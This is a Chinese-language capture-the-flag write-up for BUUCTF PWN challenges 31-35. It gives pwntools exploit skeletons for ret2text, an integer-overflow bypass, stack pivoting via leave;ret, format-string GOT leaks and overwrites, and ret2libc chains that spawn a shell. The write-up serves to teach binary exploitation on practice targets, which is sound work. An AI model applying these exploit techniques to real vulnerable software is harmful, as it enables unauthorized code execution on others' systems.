ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

BUUCTF PWN 31-35题解:从ret2text到ret2libc的利用链实战

BUUCTF PWN 31-35题解:从ret2text到ret2libc的利用链实战 周日晚上刷BUUCTF PWN第31到35题从ret2text一路打到ret2libc中间正好把整型溢出、栈迁移、格式化字符串泄露这三样东西完整过了一遍。这五题做完我的真实感受是入门pwn不考天赋考的是能不能把一条利用链从头到尾想清楚、走通。如果你刚做完BUUCTF前面二三十道简单题正卡在这一段这篇文章就是写给你的。下面我会按照我当时做题的顺序把这五题涉及的五个考点拆开讲ret2text、整型溢出、栈迁移、格式化字符串、ret2libc。每个考点都给出可复制的判断方法和exp骨架你可以直接对照自己的题目改偏移和地址。需要先说明一点BUUCTF平台题目编号会随题库调整31-35不一定每次都是同一批题。所以这篇wp我按考点归类你在实战中只要用checksec确认保护状态再对号入座就行。1. 做题之前先把三件事焊死1.1 环境Kali pwntools checksec我这套环境是在Kali下跑通的。系统自带Python 3装pwntools一条命令就能搞定sudo apt update sudo apt install python3-pip gdb pip3 install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple如果Kali源里没有对应的Python包管理工具可以先用apt install python3-pip。装完之后验证一下python3 -c from pwn import *; print(ok) checksec --helpchecksec是pwntools自带的工具不需要额外安装。很多新手拿到题直接看IDA结果连目标程序开了什么保护都不知道这是最要命的。保护策略直接决定了你能用哪条利用链我后面每个考点都会先提这个。调试方面我建议在Kali上装一个pwndbg或者直接靠pwntools的gdb.debug()。像栈迁移这种题光靠静态看是看不明白的必须把esp、ebp的值打出来看。1.2 读题checksec输出到底在说什么拿到题目文件后先跑checksec --file./pwn输出里最关键的四个字段分别是字段开启关闭对利用的影响Canaryfounddisabled开启时不能直接覆盖返回地址需先泄露canaryNXenableddisabled开启时栈不可执行不能ret2shellcodePIEenableddisabled开启时地址随机化需先泄露代码基址RELROFullPartialFull时GOT表只读不能直接改GOT入门阶段你看到的题大概率是Canary disabled、NX enabled、PIE disabled、Partial RELRO。这种组合是最好打的意味着你可以直接用固定地址构造ROP也可以考虑覆写GOT表项。还有一个容易忽略的点Arch字段会告诉你程序是32位还是64位。32位偏移计算是缓冲区到ebp的距离 464位是距离 8。这个4/8不是拍脑袋定的是因为返回地址永远保存在ebp/ rbp之上一个栈槽的位置。做题前先把位数看清楚后面所有p32/p64才不会用错。1.3 连题本地打通再打远程常规做题流程我建议严格遵守先在本地process(./pwn)打通再打远程remote。流程是这样的先用IDA看漏洞用一个临时exp在本地验证拿到shell之后再把process换成平台分配给你的nc地址。本地打不通就debug本地通了远程不通再考虑libc版本、栈对齐、交互延迟这些外部因素。不要一上来就打远程那样你永远分不清是自己exp写错了还是平台环境问题。连接远程时平台实例页面会给你一个地址和端口类似p remote(节点地址, 端口)每个实例端口可能不一样重启后还会变所以写exp时不要硬编码端口直接复制平台给的最新地址。发送数据时注意sendline和send的区别如果程序用read读取指定长度用send如果用gets或者scanf(%s)用sendline。这个细节能救你一命。2. 第31/32题ret2text与整型溢出入门题的两块敲门砖2.1 第31题把返回地址改到后门函数第31题我是按ret2text处理的。这类题的特征非常明显程序在漏洞函数里读入数据到栈上但程序本身还有一个隐藏的后门函数比如直接调用system(/bin/sh)。用IDA反编译出来大概是这样的伪代码void vuln() { char buf[0x10]; read(0, buf, 0x30); } void backdoor() { system(/bin/sh); }read读入0x30字节但buf只有0x10字节多出来的部分会一路盖过栈上的老ebp和返回地址。我需要做的就是让返回地址变成backdoor。32位下计算偏移buf距离ebp是0x10再往上4字节是保存的老ebp再往上4字节才是返回地址所以偏移是0x10 4 0x14。我用pwntools直接算from pwn import * context.arch i386 elf ELF(./pwn) payload ba * (0x14) p32(elf.symbols[backdoor]) p process(./pwn) p.send(payload) p.interactive()如果不知道具体偏移更通用的做法是用cyclic生成一串随机模式程序崩了之后根据eip的值用cyclic_find反推from pwn import * p process(./pwn) p.send(cyclic(100)) p.wait() crash p.corefile eip crash.eip offset cyclic_find(eip) print(offset)这类题真正要理解的是为什么覆盖返回地址就能劫持控制流因为函数返回时执行leave; retret指令会从栈顶取一个值当作下一条指令的地址。当你把返回地址覆盖成任意值ret就会跳到那里。所有栈溢出利用归根到底都是在跟ret打交道。2.2 第32题整数溢出本质上是一个“环”第32题我遇到的是整数溢出绕过加栈溢出的组合也是BUUCTF里很常见的“一叶障目”式题目。这类题的特征程序先让你输入一个数字用这个数字做长度校验或类型判断但由于整数类型长度有限会绕过判断造成后续溢出。反编译代码大概长这样int v3; char buf[0x20]; printf(length: ); scanf(%d, v3); if (v3 - 1 0x20) { puts(invalid); exit(0); } read(0, buf, v3);这段代码的坑在v3 - 1 0x20。如果v3是unsigned int或者你输入0那么v3 - 1不再是-1而是0xffffffff。这个数比0x20大多了理论上应该进invalid但注意int溢出在二进制层面是按补码回绕的。如果在有符号比较下-1确实小于0x20于是绕过成功。绕过后read读入0xffffffff长度的数据实际上就变成了任意长度栈溢出。我当时的exp大概是p.sendline(b0) # 触发整数下溢 payload ba * 0x28 # 覆盖到返回地址 payload p32(backdoor_addr) p.send(payload)整数溢出的利用不只有下溢。常见模式还有unsigned char存储输入输入256时变成0int正数上限是0x7fffffff加上某个数溢出成负数用short比较输入0x10000后变成0本质原因是C语言里整数是个固定大小的环超过最大值会绕回最小值减到小于0会变成极大值。你在IDA里看到类型是int、unsigned int、char、short都要立刻警惕。2.3 这类题目最容易被忽略的细节第一不要只看F5伪代码要把变量类型展开看。IDA默认可能把某些变量反编译成signed int但底层其实做了movzx或movsx符号扩展规则不同绕过方式也不同。第二发送负数时如果程序用scanf(%d)你直接发-1就行但如果程序用atoi、strtol这类字符串转数字函数发-1会得到-1存到int里没问题如果程序底层用unsigned int那-1会被解释为0xffffffff。第三整数溢出经常只是一个“门卫”真正拿shell还是要靠后面的栈溢出。所以你应该把整数溢出理解成权限绕过把栈溢出理解成控制流劫持两者通常是串联关系。做题时先把整个流程想清楚输入什么数字能绕过校验绕过之后能读多少字节这些字节够不够覆盖到返回地址这样就够了。3. 第33题栈迁移溢出空间不够时的唯一出路3.1 什么时候必须栈迁移第33题我卡得最久。题目保护是Canary disabled、NX enabled、PIE disabled漏洞函数是一个很短的栈溢出类似void vuln() { char buf[0x10]; read(0, buf, 0x18); }偏移是多少buf距ebp是0x10返回地址在0x14但read只读0x18字节。这意味我只能覆盖到返回地址后面还剩4字节完全不够放下read、system、/bin/sh这样的完整ROP链。这就是栈迁移的典型场景溢出空间不足但程序提供了多次输入机会或者其他地方有可写的大块内存通常是bss段。如果你只想着在原来的栈上布置ROP永远会差一截正确思路是“换栈”把栈指针挪到一块可控区域在那上面重新布置一个完整的链。栈迁移用到的是leave; ret这个gadget。它做的事情只有两步mov esp, ebp pop ebp ret第一步让esp变成当前的ebp第二步从新栈顶弹出旧ebp第三步把下一个值当作返回地址。如果你想看这类题怎么利用核心就是把“ebp寄存器”劫持到你有控制权的地方。3.2 fake栈布局与leave; ret的调用过程我在第33题的利用分两步。第一次输入覆盖返回地址让它跳到leave_ret第二次输入把真正的ROP链布置到bss段。32位exp骨架from pwn import * context.arch i386 elf ELF(./pwn) read_plt elf.plt[read] leave_ret 0x080484b8 # ROPgadget --only leave|ret 找出来 bss elf.bss() 0x400 # 选择bss段后面一点避开其他数据 offset 0x14 # buf到返回地址的距离 # 第一次payload覆盖saved ebp为 bss-4返回地址为 leave_ret payload1 ba * offset p32(bss - 4) p32(leave_ret) p.send(payload1) # 触发第二次read把stage2写入 bss-4 开始的位置 payload2 p32(0) p32(system_addr) p32(0xdeadbeef) p32(binsh_addr) p.send(payload2) p.interactive()这里有几个非常关键的细节缺一个就打不通。第一为什么覆盖saved ebp为bss - 4而不是bss因为leave; ret第一次执行pop ebp会先消耗4字节第二次执行时ret才会跳到bss段内容。所以bss-4这个位置会被当成新ebp弹走真正的ROP链从bss开始。如果直接覆盖成bss第一次pop ebp会把bss的头部吃掉链就歪了。第二第二次read的目标地址要写成bss - 4。这样payload2第一个p32(0)落在bss-4被pop到ebp第二个p32(system_addr)落在bss被ret当作下一条指令地址后面p32(0xdeadbeef)是system的返回地址p32(binsh_addr)才是system的第一个参数。这是标准的32位调用栈布局。第三leave_ret不是唯一的有的题目还能用pop ebp; ret代替。但leave; ret更通用因为它一次完成了“重置esp并取返回地址”两件事。3.3 栈迁移的调试与翻车点栈迁移最容易翻车的地方是地址搞错。我调试时的标准动作是在leave_ret地址下断点然后单步看esp、ebp数值。用pwntools附加gdbp process(./pwn) gdb.attach(p, b *0x080484b8\nc) p.send(payload1)停在leave_ret之后用x/10wx $esp查看当前esp附近内容再用x/s $ebp确认新栈是否指向了bss段。如果esp指向的还是旧栈说明saved ebp覆盖没对准如果指向bss但内容不对说明第二次read没写进去。另一个常见问题elf.bss()返回的地址和实际运行的bss地址可能因PIE而变化。这道题PIE关闭所以安全如果遇到PIE开启的栈迁移题得先泄露代码基址再把bss地址加上基址偏移。还有一个经验bss段并不是越大越好。有的程序在bss前面放了很多全局变量你直接写elf.bss()可能会被后续逻辑覆盖。稳妥做法是elf.bss() 0x400留出足够余量。4. 第34题格式化字符串的偏移、泄露与任意写4.1 别猜偏移用AAAA试探第34题是格式化字符串漏洞。程序大概长这样char buf[0x100]; read(0, buf, 0xff); printf(buf);printf(buf)直接把用户输入当格式化字符串这比栈溢出更隐蔽但利用起来也更灵活。格式化字符串能做两件事读任意地址、写任意地址。做之前要先确定“参数偏移”。偏移是什么意思printf是按参数位置来取值的比如printf(%6$p)会打印第6个参数的地址。你需要知道你输入的payload在栈上会作为第几个参数出现。最土但最有效的方法AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.如果输出里某个位置出现0x41414141说明AAAA就在那个参数位置。比如我测出来第6个位置是0x41414141那后面所有格式化利用都基于偏移6。pwntools里也能直接测payload bAAAA b.%p * 20 p.sendline(payload) print(p.recvall())注意如果你的payload放在栈比较深的位置偏移可能不是6。有些程序会在printf前调用其他函数导致参数栈布局变化。所以每次都要实测不要拿上一题的偏移硬套。4.2 泄露libc地址%s搭配GOT拿到偏移之后第一步通常是泄露libc里的函数地址。思路是用%s把某个GOT表项里存放的真实地址读出来。GOT表项的地址可以从ELF里拿puts_got elf.got[puts] payload p32(puts_got) b%6$s但有个坑如果puts_got是0x0804a000这种以\x00结尾的地址小端序后payload会以\x00开头printf看到字符串开头就是\x00直接把整个格式化串当成空串什么都输出不了。解决办法有两个选一个末尾不带\x00的GOT地址比如0x0804a010就比0x0804a000稳妥。或者把地址放在格式串后面payload b%6$s bJUNK p32(puts_got)格式化串部分读到JUNK后继续地址里的\x00会把字符串截断但前面的%6$s已经执行完了。printf读到截断符后停止解析但前面漏出来的输出已经包含puts地址。拿到输出后用u64解析leak p.recvuntil(b\n, dropTrue).ljust(8, b\x00) puts_addr u64(leak[:8])之后的操作和ret2libc一样用puts_addr - libc.symbols[puts]算出libc基址再算system和/bin/sh。这样你就能把格式化字符串漏洞“升级”成一次完整的getshell。4.3 任意写%n与fmtstr_payload格式化字符串不但能读还能写。%n会把“已经输出的字节数”写入到对应参数指向的地址。说人话如果printf(%6$n)它会把当前已输出的字符数量写入第6个参数指向的内存。这就是任意地址写的基础。手写起来比较麻烦我建议会用工具生成但一定要理解原理from pwn import * context.arch i386 elf ELF(./pwn) # 把atoigot 覆盖成 system_addr payload fmtstr_payload(6, {elf.got[atoi]: system_addr}) p.sendline(payload) p.interactive()fmtstr_payload的第二个参数是字典键是目标地址值是想要写入的数据。它会自动拆分成%hhn一次写一字节或%hn一次写两字节。为什么要拆因为%n一次最多写几万字节你总不能真的让printf输出几万个字符来填充计数吧拆成%hhn后每次最多输出255字节效率高得多。选择覆写哪个GOT也很有讲究。我习惯覆写atoigot因为程序如果调用atoi(input)来解析输入数字把它改成system后下次输入/bin/sh程序就会执行system(/bin/sh)。这个技巧比覆写printfgot稳定因为直接改printf的GOT可能导致printf自身递归调用很快就崩。如果你只想泄露不想写%s就够用如果想改控制流%n系列才是关键。5. 第35题ret2libc把整个libc变成你的武器库5.1 先拿putsgot换libc基址第35题是经典ret2libc。程序没有后门函数没有/bin/sh字符串但是有栈溢出并且开了NX所以不能直接ret2shellcode。这种情况下唯一出路就是利用libc里现成的system函数和/bin/sh字符串。64位下的关键点参数传递用寄存器所以需要一个pop rdi; retgadget。先找ROPgadget --binary ./pwn --only pop|ret | grep rdi输出类似0x0000000000400803 : pop rdi ; ret有了它泄露puts地址的payload就长这样offset 0x48 payload ba * offset payload p64(pop_rdi) payload p64(elf.got[puts]) # 第一个参数putsgot payload p64(elf.plt[puts]) # 调用puts把puts的libc地址打印出来 payload p64(elf.symbols[vuln]) # 回到vuln再来一次 p.sendline(payload)然后接收输出leak p.recvuntil(b\n, dropTrue).ljust(8, b\x00) puts_addr u64(leak[:8]) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))第一次payload最后一定要回到vuln因为你需要第二次栈溢出来真正调用system。这也是ret2libc的标准套路先泄露后getshell。5.2 远程不通时优先怀疑libc版本我在BUUCTF上打这题时本地已经能拿到shell远程却一直segfault。排查了半天问题出在libc版本不匹配。本地Kali默认的libc和平台靶机上的libc不一定一样。puts在libc里的偏移可能差很多你用本地的偏移去算system算出来的地址在远程就是垃圾。解决方案有三个第一用平台常见的老版本libc。BUUCTF很多题是基于Ubuntu 16.04或18.04环境编译的对应glibc 2.23或2.27。你可以下载对应版本的libc.so和ld.so本地替换后调试。第二用LibcSearcher这类工具自动匹配from LibcSearcher import LibcSearcher obj LibcSearcher(puts, puts_addr) libc_base puts_addr - obj.dump(puts) system_addr obj.dump(system) binsh_addr obj.dump(str_bin_sh)它会根据你泄露的puts地址在已知libc列表里找匹配。但注意这类工具依赖维护状况有时会匹配出多个结果需要多试。第三最稳妥的办法是直接用patchelf把ELF的libc换成目标版本patchelf --set-interpreter ./ld-2.27.so --set-rpath . ./pwn这样本地运行就用指定的libcexp里的偏移也算得更准。很多平台题目的远程环境信息就隐藏在给的附件里或者通过泄露一个函数地址后去libc-database里查这也是成熟CTFer的正常操作。5.3 one_gadget与手工ROP怎么选第35题的标准做法是手工ROP但很多人做ret2libc时会听到一个词one_gadget。one_gadget的意思是在libc里找一个直接execve(/bin/sh)的gadget只要满足某些约束条件比如rsp0x40处为NULL一个地址就能getshell省去ROP链的构造。one_gadget ./libc-2.27.so输出会给出多个地址和对应约束。如果你泄露了libc基址可以直接把返回地址覆盖成libc_base one_gadget。我的建议是能手工ROP就手工ROP。因为one_gadget受约束影响很大远程环境不确定时经常明明基址对了也打不通。手工ROP虽然麻烦但每一步都可控、可调试一旦通了就很稳。只有在栈上实在没有空间布置完整ROP链且one_gadget满足条件时再用它。还有一个64位新手最容易踩的坑栈对齐。你辛辛苦苦算好了system_addr和binsh_addr返回地址也写对了结果一执行system就崩。原因是在64位SysV ABI下调用函数前rsp必须16字节对齐。从vuln返回进入system时栈的状态和正常调用不同所以需要在system之前额外加一个retgadgetpayload ba * offset payload p64(ret) # 对齐栈 payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr)那个ret不执行任何真正有意义的跳转只是让rsp多走8字节把栈对齐到system需要的状态。这个细节很多wp里一句话带过但真正远程打不通时它往往是最后一根稻草。6. 这五题刷完我留下的几条实战笔记6.1 四个最容易被卡死的操作细节刷完这五题我整理了四个最容易让新手卡死的点每个我都实际踩过。第一字节串问题。pwntools里p32、p64返回的是字节串不是字符串。ba * offset p32(addr)看起来简单但你在交互时如果混用了sendline(str(...))经常不是发送失败就是payload被截断。建议统一用bytes类型payload全部用b拼接。第二接收数据时的截断。用recvuntil比recv稳。比如puts会以\n结尾你recvuntil(b\n)能拿到完整一行如果直接recv(4)拿到的可能是地址的中间部分。解析时记得用ljust(8, b\x00)补足8字节否则u64会因为长度不够报错。第三本地通了远程挂。优先检查libc版本其次检查栈对齐最后检查交互的sendline和send。不要一上来就怀疑平台有问题绝大多数远程失败都是环境差异造成的。第四gdb看得见才是硬道理。栈迁移、格式化字符串这种题建议全程用gdb调试。我不是在开玩笑一个b *0x080484b8的断点能让你看清esp和ebp到底在哪比你对着IDA猜十分钟都有效。6.2 我给新手的顺序建议如果你是零基础想刷pwn我个人建议不要直接按题库序号硬刷而是按考点顺序刷ret2text开路ret2shellcode理解NX再学ret2libc之后是栈迁移最后才是格式化字符串。这个顺序的递进逻辑是先学会“控制ret跳到哪”再学会“往哪跳”再学会“在空间不足时怎么跳”最后学会“不靠ret直接读写内存”。BUUCTF 31-35这段区间难度跨度其实不大但它逼着你把前面学的知识点串起来。整型溢出负责绕校验栈溢出负责劫持控制流格式化字符串负责泄露libcret2libc负责拿shell。每一环单独拎出来都不难但串成一条完整的利用链时你会有一种“终于把pwn玩明白了”的感觉。每次做完题建议记录三样东西checksec结果、漏洞点、对应偏移。别小看这个习惯等你刷到后面高难度题回看这些记录你会发现很多所谓的新题不过是旧考点的排列组合。
返回列表